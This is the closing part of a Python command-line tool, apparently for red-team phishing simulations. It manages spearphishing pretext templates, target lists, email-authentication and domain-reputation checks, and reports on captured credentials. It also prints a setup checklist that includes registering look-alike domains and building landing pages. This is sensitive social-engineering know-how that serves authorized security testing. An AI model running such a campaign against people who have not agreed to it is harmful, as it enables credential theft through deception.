    table.add_row("Credentials Captured", str(submitted), f"{metrics['credential_capture_rate']:.1f}%")
    table.add_row("Reported", str(reported), f"{metrics['report_rate']:.1f}%")

    console.print(table)

    return metrics


def main():
    parser = argparse.ArgumentParser(
        description="Spearphishing Simulation Campaign Manager"
    )
    parser.add_argument(
        "--mode",
        required=True,
        choices=["setup", "template", "validate", "report", "list-pretexts", "check-domain"],
        help="Operation mode",
    )
    parser.add_argument("--domain", help="Phishing domain to validate")
    parser.add_argument("--pretext", help="Pretext template name")
    parser.add_argument("--targets", help="Path to targets CSV file")
    parser.add_argument("--company", default="Target Corp", help="Target company name")
    parser.add_argument("--phishing-url", default="https://login.example.com", help="Phishing URL")
    parser.add_argument("--campaign-data", help="Path to campaign results JSON")
    parser.add_argument("--output", default="./output", help="Output directory")

    args = parser.parse_args()

    if args.mode == "list-pretexts":
        table = Table(title="Available Pretext Templates")
        table.add_column("Name", style="red bold")
        table.add_column("Authority", style="yellow")
        table.add_column("Urgency", style="cyan")
        table.add_column("Subject Preview", style="green")

        for name, template in PRETEXT_TEMPLATES.items():
            table.add_row(
                name,
                template["authority"],
                template["urgency"],
                template["subject"][:50] + "...",
            )
        console.print(table)

    elif args.mode == "validate":
        if not args.domain:
            console.print("[red][-] --domain required for validation mode[/red]")
            return

        console.print(f"[yellow][*] Validating email authentication for {args.domain}...[/yellow]")
        auth_results = validate_email_authentication(args.domain)

        table = Table(title=f"Email Authentication: {args.domain}")
        table.add_column("Protocol", style="cyan")
        table.add_column("Configured", style="green")
        table.add_column("Record", style="yellow")
        table.add_column("Issues", style="red")

        for protocol, data in auth_results.items():
            table.add_row(
                protocol.upper(),
                "Yes" if data["configured"] else "No",
                (data["record"] or "N/A")[:60],
                "; ".join(data["issues"]) if data["issues"] else "None",
            )

        console.print(table)

    elif args.mode == "template":
        if not args.pretext or not args.targets:
            console.print("[red][-] --pretext and --targets required for template mode[/red]")
            return

        generate_email_template(
            args.pretext, args.targets, args.company, args.phishing_url, args.output
        )

    elif args.mode == "check-domain":
        if not args.domain:
            console.print("[red][-] --domain required[/red]")
            return

        console.print(f"[yellow][*] Checking domain reputation for {args.domain}...[/yellow]")
        rep_results = check_domain_reputation(args.domain)

        console.print(Panel(json.dumps(rep_results, indent=2), title="Domain Reputation"))

    elif args.mode == "report":
        if not args.campaign_data:
            console.print("[red][-] --campaign-data required for report mode[/red]")
            return

        analyze_campaign_results(args.campaign_data, args.output)

    elif args.mode == "setup":
        console.print(
            Panel(
                "[bold]Spearphishing Campaign Setup Checklist[/bold]\n\n"
                "1. Register look-alike domain (age 2+ weeks)\n"
                "2. Configure SPF/DKIM/DMARC records\n"
                "3. Set up GoPhish or mail infrastructure\n"
                "4. Install SSL certificates\n"
                "5. Create landing pages\n"
                "6. Prepare email templates\n"
                "7. Import target list\n"
                "8. Test delivery to operator account\n"
                "9. Launch campaign in waves\n"
                "10. Monitor and collect evidence",
                title="Setup Guide",
            )
        )


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 4.4 KB
Keep exploring